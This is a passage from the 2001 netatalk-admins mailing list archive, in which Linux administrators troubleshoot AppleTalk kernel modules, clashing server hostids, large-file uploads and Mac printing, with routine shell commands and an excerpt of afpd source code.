>> Sally, via the Chooser, instead of Sally's login dialog, the "already
>> connected to "Bob"" dialog comes up. Selecting "OK" takes the user to Bob's
>> volumes list. The only way to actually connect to Sally, under these
>> circumstances, is to either unmount all of Bob's volumes, or make the
>> connection to Sally via afp (clicking the IP Address button in the Chooser
>> window, typing in the IP address, etc.).
>> [ ... ]
-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Mon Sep 10 15:14:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA21486
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 15:14:51 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA19766
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 15:14:51 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA19738
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 15:14:50 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA19667
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 15:14:49 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0); Mon, 10 Sep 2001 12:15:36 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 10 Sep 2001 12:14:46 -0700
Subject: Re: netatalk won't let me upload large files
From: charlie wood <charlie@id-inc.com>
To: S=?ISO-8859-1?B?6Q==?=bastien Sainte-Marie <sms@artwebdesignstudio.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B7C25F35.462F%charlie@id-inc.com>
In-Reply-To: <0B8F14E4-A5B8-11D5-998B-003065C05802@artwebdesignstudio.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA21486

Hi Sebastien,

The error messages are system errors generated when your kernel lacks
AppleTalk support, and your ability to upload large files via ASIP is due to
the successful functionality of afpd, not atalkd. I doubt that your server
even shows up in your Chooser, based upon those error messages, so the
failed large file transfer confuses me slightly.

To get AppleTalk working correctly, you must either recompile your kernel to
include AppleTalk support, or load the AppleTalk module either at boot or
prior to launching atalkd. Here's how:

To check if your kernel supports AppleTalk, use this command:

dmesg | grep AppleTalk

This is the simplest way I can think of to discover if AppleTalk
functionality loaded at boot out of the kernel. If there is no output, then
AppleTalk support is not a part of your current kernel build. Most "modern"
kernels (2.x and greater for Red Hat Linux, for example) have AppleTalk
support built in. Check your kernel version:

uname -r

Now, check your system documentation to see if your kernel version even
supports AppleTalk built in. If it does, then recompile your kernel to
include AppleTalk support. If your kernel does not, you can add AppleTalk
support as a module. This is generally better, because it affords you
control of your AppleTalk services independent of your system. To see if
AppleTalk support is loaded as a module (unlikely, unless you added it), use
this command:

lsmod | grep appletalk

...this will check the list of currently loaded modules for the AppleTalk
module. If you still have no response from your system, then the AppleTalk
module is not loaded. If you have it available on your drive, you can
activate it thus:

insmod <path>/appletalk.o

...where <path> is the path to your system libraries.

RedHat 7.1 keeps the module here:

/lib/modules/2.4.2-2/kernel/net/appletalk/appletalk.o

...on many systems, the module can be found here:

/lib/modules/misc/appletalk.o

...of course you can always:

find / -name appletalk

If it's not available at all on your system, check your install disks and
copy it from there. Failing that, go to the company's website and sniff
around there. Download it, dump it in your modules directory and load it
prior to launching atalkd.

Hope this info helps.

There's also a pretty good tutorial regarding using AppleTalk services under
Linux here:

http://www.linuxworld.com/linuxworld/lw-1999-04/lw-04-uptime.html

cheers,

</charlie>

_____________________________
Charlie Wood

IT Manager
ID, Incorporated
1620 SW Taylor St Suite 100 Portland, OR 97205
{v} 503-223-7737   {f} 503-223-2719
{e} charlie@id-inc.com   {w} http://www.id-inc.com


--

> From: Sébastien Sainte-Marie <sms@artwebdesignstudio.com>
> Date: Mon, 10 Sep 2001 08:49:56 +0200
> To: netatalk-admins@umich.edu
> Subject: netatalk won't let me upload large files
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 10 Sep 2001 02:52:01 -0400 (EDT)
> 
> Hi
> 
> I've just installed netatalk 1.5pre6 because I thought it could help me
> resolve a problem that appeared recently in the default 1.4b2 that was
> in the Linux yellow dog distribution.
> 
> The problem that appeared was the impossibility to upload on the server
> a large file (>1Mb) via the mounted netatalk volume. We can copy big
> files from the server to the differents Mac but not from the Mac to the
> server. Surprisingly, it's possible to upload a large file via
> appleshare ip over the internet.
> 
> I just don't understand why I have this error since it appeared without
> modifying anything for netatalk.
> 
> when I launch it it writes:
> 
> socket: invalid argument
> socket: invalid argument
> atalkd: can't get interfaces, exiting
> 
> the thing that amaze me is that I havn't touched to atalk files or
> configuration. This problem appeared like this... I sincerely don't
> understand what happened. I hope someone will be able to help me.
> 
> Sebastien


From netatalk.administrators-errors@umich.edu  Mon Sep 10 15:31:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23004
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 15:31:00 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA04452
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 15:31:00 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA04438
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 15:30:59 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA04397
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 15:30:58 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0); Mon, 10 Sep 2001 12:31:45 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 10 Sep 2001 12:30:55 -0700
Subject: Re: problem mounting two servers
From: charlie wood <charlie@id-inc.com>
To: Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7C262FF.4631%charlie@id-inc.com>
In-Reply-To: <B7C2DB5A.2A875%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Excellent. Thank you for this. Yes, this turned out to be the problem. For
anyone else interested in the solution, here's what I did:

First, I checked the hexadecimal host ID on both servers with the command:

hostid

...they were identical, which indicated that I was on to the problem.

I then corrected the default /etc/hosts file for each server to read:

192.168.x.x       hostname.domain.org   hostnameAlias
127.0.0.1           localhost

...correcting the localhost entry to read as above, and moving it down one
level, putting the correct IP address/hostname entry in the first level. I
then rebooted (because rebooting is fun and profitable for the whole family!
;-)  ). 

Worked like a charm.

Apparently, atalkd uses the Unix system's hostid output instead of the real
IP address (obtainable from the /etc/hosts file) to identify the server. In
my particular case, because both hosts were essentially "localhost", with
the loopback address creating identical hexadecimal "hostnames", atalkd
assumed that when I was connected to one server, I was connected to both.

thanks again!

</charlie>

_____________________________
Charlie Wood

IT Manager
ID, Incorporated
1620 SW Taylor St Suite 100 Portland, OR 97205
{v} 503-223-7737   {f} 503-223-2719
{e} charlie@id-inc.com   {w} http://www.id-inc.com


--

> From: Thomas Schierle <ts@visual-s.de>
> Date: Mon, 10 Sep 2001 21:04:26 +0200
> To: Netatalk-Admins <netatalk-admins@umich.edu>
> Subject: Re: problem mounting two servers
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 10 Sep 2001 15:10:16 -0400 (EDT)
> 
> The problem has been discussed more than a year ago, I believe.
> Unfortunately I didn't find the thread in my mail archives.
> 
> If memory doesn't fail, the solution was to change the order of appearance
> of the localhost entry and the servers real IP within the hosts file.
> Real IP has to be the first entry.
> 
> Background (from memory): a netatalk server creates some kind of
> unique ID at (its first?) startup, and that ID is based on its IP.
> If that ID is based on the localhost IP, it of cause isn't unique.
> 
> -Thomas
> 
> On 2001-09-10 17:44 +0200, James Litwin wrote:
> 
>> Ya , I have seen it before ..... not to sure what caused the problem ... only
>> way that I could solve the problem was to rebuild the server from scratch
>> ....
>> then everything worked ........
>> 
>> charlie wood wrote:
>> 
>>> I've got two separate servers, each have unique network.node addresses. For
>>> illustrative purposes, we'll call one Bob and the other Sally (names changed
>>> to protect the innocent). Whenever one of Bob's volumes are mounted on the
>>> client desktop, and then an attempt is made by that client to connect to
>>> Sally, via the Chooser, instead of Sally's login dialog, the "already
>>> connected to "Bob"" dialog comes up. Selecting "OK" takes the user to Bob's
>>> volumes list. The only way to actually connect to Sally, under these
>>> circumstances, is to either unmount all of Bob's volumes, or make the
>>> connection to Sally via afp (clicking the IP Address button in the Chooser
>>> window, typing in the IP address, etc.).
>>> [ ... ]
> -- 
> Thomas Schierle, Munich, Germany
> 
> PGP key [DSS/DH] 0xA23CDA1D available at various public key servers
> 
> 


From netatalk.administrators-errors@umich.edu  Mon Sep 10 15:58:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA24431
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 15:58:26 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA25060
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 15:58:26 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24972
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 15:58:23 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA24922
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 15:58:21 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA28790;
	Mon, 10 Sep 2001 22:02:25 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 10 Sep 2001 22:02:24 +0200
Subject: Re: problem mounting two servers
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: charlie wood <charlie@id-inc.com>, Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7C2E8F0.10E4B%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B7C262FF.4631%charlie@id-inc.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA24431

On Mon, 10 Sep 2001 15:31:00 -0400 (EDT), charlie wood wrote:

> Apparently, atalkd uses the Unix system's hostid output instead of the real
> IP address (obtainable from the /etc/hosts file) to identify the server.

Hmm ... I think it has _nothing_ to do with atalkd. atalkd provides basic
AppleTalk services (and does not depend on tcp/ip). Your communication
involved the AppleShare Client on mac and afpd on your netatalk server.
                                          ^^^^
You will have your problems even if AppleTalk isn't in use at all
(deactivate atalkd, try to establish the connections via AFP over TCP and
try it again)

The next thing: The hostid is normally read from /etc/hostid.

| If no such file exists, it resolves the host IP address and uses it, but
| not as the typical dotted-quad. Instead, it uses hex in network order.
| 
| IP address 204.178.40.224
| 
| 0xb2cce028
| | | | |_______ 40
| | | |_________ 224
| | |___________ 204
| |_____________ 178
| 
| (explanation courtesy Dick Johnson -- quoted from
| <http://www.cs.helsinki.fi/linux/linux-kernel/2001-11/0510.html>)

I wonder why reassigning entries in the hosts file will have the effect of
different ip addresses for the first network interface in the linux box?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Sep 10 16:02:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA24680
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 16:02:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA25947
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 16:02:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA25921
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 16:02:43 -0400 (EDT)
Received: from la01mxq01.la01.noc.lmki.net (ip-64-63-94-63.reverse.mobilenetics.com [64.63.94.63] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA25889
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 16:02:42 -0400 (EDT)
Received: from [195.10.2.140] (ip-216-174-77-27.reverse.mobilenetics.com [216.174.77.27] (may be forged))
	by la01mxq01.la01.noc.lmki.net (8.9.3/8.8.7) with ESMTP id MAA24860
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 12:58:33 -0700
Mime-Version: 1.0
X-Sender: gregghealy@mail.anet.net
Message-Id: <v04220800b7c2c5557e84@[195.10.2.140]>
In-Reply-To: <3B9CEF59.9B2A16C7@pixelpi.org>
References: <200109062259.PAA15123@east.la.asu.edu>
 <3B9CEF59.9B2A16C7@pixelpi.org>
Date: Mon, 10 Sep 2001 13:02:26 -0700
To: netatalk-admins@umich.edu
From: Gregg Healy <gregg@photoad.com>
Subject: Redhat 7.1 and Netatalk/papd
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I spent considerable time trying to make Netatalk work with a Redhat 
7.1 boxed set (deluxe workstation edition from Best Buy) 
installation. After major trial and error installs I have it working, 
almost.


Did a Server install with KDE, X, Samba, http and the default server 
stuff and set all netcfg info.

Installed openssl RPM for Redhat 7.1

Installed Cracklib RPM for Redhat 7.1

Installed PAM RPM for Redhat 7.1

Installed the Netatalk version 1.5-pre6 Redhat RPM



Reboot and it came up in the chooser and I was able to mount the 
users home directory using the default configuration.

I cant get the Linux printer to work at all. When trying to print to 
it from the client, as soon as the spool file starts to write I get a 
Postscript error -8133 from BBedit, another app (simple text) says to 
be sure I have a printer selected in the chooser, but there is one 
selected...

Any ideas whats going on here?

Thanks,

Gregg Healy
President

PhotoAd.com, Inc.
http://photoad.com
800 471-3737

From netatalk.administrators-errors@umich.edu  Mon Sep 10 16:43:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA27368
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 16:43:49 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA17730
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 16:43:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA17716
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 16:43:47 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA17646
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 16:43:45 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA28892;
	Mon, 10 Sep 2001 22:42:49 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 10 Sep 2001 22:42:51 +0200
Subject: Re: I can see zones but not shares
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Ed Maple <emaple@asu.edu>, <batman@pixelpi.org>,
        <netatalk-admins@umich.edu>
Message-ID: <B7C2F26B.10E4F%Thomas.Kaiser@phg-online.de>
In-Reply-To: <200109101832.LAA26811@east.la.asu.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 10 Sep 2001 14:32:56 -0400 (EDT), Ed Maple wrote:

> Is that how Appletalk advertises services offered in each zone?
> Docs I've found (like "Understanding Appletalk Routing") detail
> how RTMP and ZIP operate, and I seem to be routing those just fine.

I think, ZIP and RTMP aren't the problem. IMO it has to do with NBP.

You might want to read <http://www.pmg.com/otw_nwsl/96_sm_apple.htm>
and <http://www.zocalo.net/tng/book/Chap7.html> also.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Sep 10 17:08:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA28986
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 17:08:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA26493
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 17:08:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA26449
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 17:08:01 -0400 (EDT)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id RAA26398
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 17:07:59 -0400 (EDT)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 10 Sep 2001 21:08:30 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v4.0.5.R)
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 23:11:45 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 10 Sep 2001 23:03:58 +0200
Subject: Re: netatalk won't let me upload large files
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7C2F75E.2A8DF%ts@visual-s.de>
In-Reply-To: <0B8F14E4-A5B8-11D5-998B-003065C05802@artwebdesignstudio.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA28986

On 2001-09-10 08:49 +0200, Sébastien Sainte-Marie wrote:

> I've just installed netatalk 1.5pre6 because I thought it could help me
> resolve a problem that appeared recently in the default 1.4b2 that was
> in the Linux yellow dog distribution.
> 
> The problem that appeared was the impossibility to upload on the server
> a large file (>1Mb) via the mounted netatalk volume. We can copy big
> files from the server to the differents Mac but not from the Mac to the
> server. Surprisingly, it's possible to upload a large file via
> appleshare ip over the internet.

just out of couriosity, is your server also acting as a firewall or
does it employ any kind of IP filtering?

- last weekend i did upgrade my home network from 10 Mbit to 100 Mbit
and I instantly got hitten by a kernel bug (2.4.4-4GB) which didn't show
up at 10 Mbit access. I couldn't upload large files to the server anymore,
broken stream etc ... several attempts later the Linux box crashed.

after I had disabled firewall, AplleShare transfers reverted back to
rocksolid.

> I just don't understand why I have this error since it appeared without
> modifying anything for netatalk.
> 
> when I launch it it writes:
> 
> socket: invalid argument
> socket: invalid argument
> atalkd: can't get interfaces, exiting

I don't believe these messages are related to your upload problems
 
> the thing that amaze me is that I havn't touched to atalk files or
> configuration. This problem appeared like this... I sincerely don't
> understand what happened. I hope someone will be able to help me.

good luck,
-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Mon Sep 10 17:21:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA29660
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 17:21:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA21412
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 17:21:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA21400
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 17:21:42 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA21336
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 17:21:40 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id XAA29631;
	Mon, 10 Sep 2001 23:25:45 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 10 Sep 2001 23:25:44 +0200
Subject: Re: problem mounting two servers
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: charlie wood <charlie@id-inc.com>, Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7C2FC78.10E56%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B7C262FF.4631%charlie@id-inc.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA29660

On Mon, 10 Sep 2001 15:31:00 -0400 (EDT), charlie wood wrote:

> First, I checked the hexadecimal host ID on both servers with the command:
> 
> hostid
> 
> ...they were identical, which indicated that I was on to the problem.

I did some quick research:

With AFP 2.2 the FPGetSrvrInfo command has been changed. Now it supports a
server¹s unique identifier: 16 byte ServerSignature ("a 16-byte number that
uniquely identifies the server" -- page 50, AFP Specs Version 2.1/2.2 -->
http://developer.apple.com/techpubs/macos8/pdf/ASAppleTalkFiling2.1_2.2.pdf)

ASun has implemented this in netatalk-1.4b2+asun-2.0a7 (take a look at
<http://www.umich.edu/~rsug/netatalk/archive/admins/1997/0070.html>)

It would be interesting whether afpd creates this Server Signature from
hostid's output, the first entry in the hosts file or from somewhere else?

If I compare the sources of 1.4b2+asun-2.1.3 and 1.5pre7 it seems the
relevant lines in etc/afpd/status.c haven't changed:

|   /* 16-byte signature consists of copies of the hostid */
| #if defined(BSD4_4) && defined(USE_GETHOSTID)
|   mib[0] = CTL_KERN;
|   mib[1] = KERN_HOSTID;
|   len = sizeof(hostid);
|   sysctl(mib, 2, &hostid, &len, NULL, 0);
| #else /* BSD4_4 && USE_GETHOSTID */
|   hostid = gethostid();
| #endif /* BSD4_4 && USE_GETHOSTID */
|   if (!hostid) {
|     if (dsi)
|       hostid = dsi->server.sin_addr.s_addr;
|     else {
|       struct hostent *host;
|       
|       if ((host = gethostbyname(hostname)))
|         hostid = ((struct in_addr *) host->h_addr)->s_addr;
|     }
|   }
| 
|   /* it turns out that a server signature screws up separate
|    * servers running on the same machine. to work around that,
|    * i add in an increment */
|   hostid += id;
|   id++;
|   for (i = 0; i < 16; i += sizeof(hostid)) {
|     memcpy(data, &hostid, sizeof(hostid));
|     data += sizeof(hostid);
|   }

I'm not a programmer, so I'm not sure, when hostid will be used and when
'gethostbyname'. Any help appreceated.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Sep 10 17:44:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA00581
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 17:44:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA27809
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 17:44:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA27785
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 17:44:25 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA27727
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 17:44:24 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0); Mon, 10 Sep 2001 14:45:12 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 10 Sep 2001 14:44:22 -0700
Subject: Re: problem mounting two servers
From: charlie wood <charlie@id-inc.com>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7C28245.4646%charlie@id-inc.com>
In-Reply-To: <B7C2E8F0.10E4B%Thomas.Kaiser@phg-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Thomas Kaiser writes:

> Hmm ... I think it has _nothing_ to do with atalkd. atalkd provides basic
> AppleTalk services (and does not depend on tcp/ip). Your communication
> involved the AppleShare Client on mac and afpd on your netatalk server.
> ^^^^
> You will have your problems even if AppleTalk isn't in use at all
> (deactivate atalkd, try to establish the connections via AFP over TCP and
> try it again)
> ^^^^ 

Really? Sitting here, working with these servers, and supporting an office
of roughly 45 clients, I'm pretty sure of my problem, which was the ability
for my clients to connect to uniquely identified atalkd servers. I had no
trouble with clients mounting the servers uniquely with afpd. The issue has
nothing to do with afpd, nor the AFP protocol or the manner in which AFP
resolves its hostid or name (which is different than the way that atalk does
its resolutions. I'm pretty certain I was clear about my problem in my
original post.

I did some extensive research over the weekend regarding the Unix command
/bin/hostid, and also how atalk and AppleTalk register names. Coupled with
my prior knowledge of how Unix and Mac systems identify themselves, I'm
pretty certain that I won't be having these problems in the future.

Thanks for your comments.

cheers,

</charlie>


From netatalk.administrators-errors@umich.edu  Mon Sep 10 19:16:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA04650
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 19:16:54 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA29936
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 19:16:54 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA29919
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 19:16:54 -0400 (EDT)
Received: from bsmrpop1.bsmr.uswest.net (bsmrpop1.bsmr.uswest.net [207.108.96.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA29893
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 19:16:53 -0400 (EDT)
Received: (qmail 92536 invoked by alias); 10 Sep 2001 23:16:52 -0000
Delivered-To: fixup-netatalk-admins@umich.edu@fixme
Received: (qmail 92531 invoked by uid 0); 10 Sep 2001 23:16:52 -0000
Received: from cdslppp149.spkn.uswest.net (HELO chris) (63.224.214.149)
  by bsmrpop1.bsmr.uswest.net with SMTP; 10 Sep 2001 23:16:52 -0000
Message-ID: <001101c13a4e$9b5b5a40$0700000a@chris>
From: "Chris" <nholland1@qwest.net>
To: <netatalk-admins@umich.edu>
Subject: printing from Mac to Linux using netatalk
Date: Mon, 10 Sep 2001 16:16:22 -0700
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
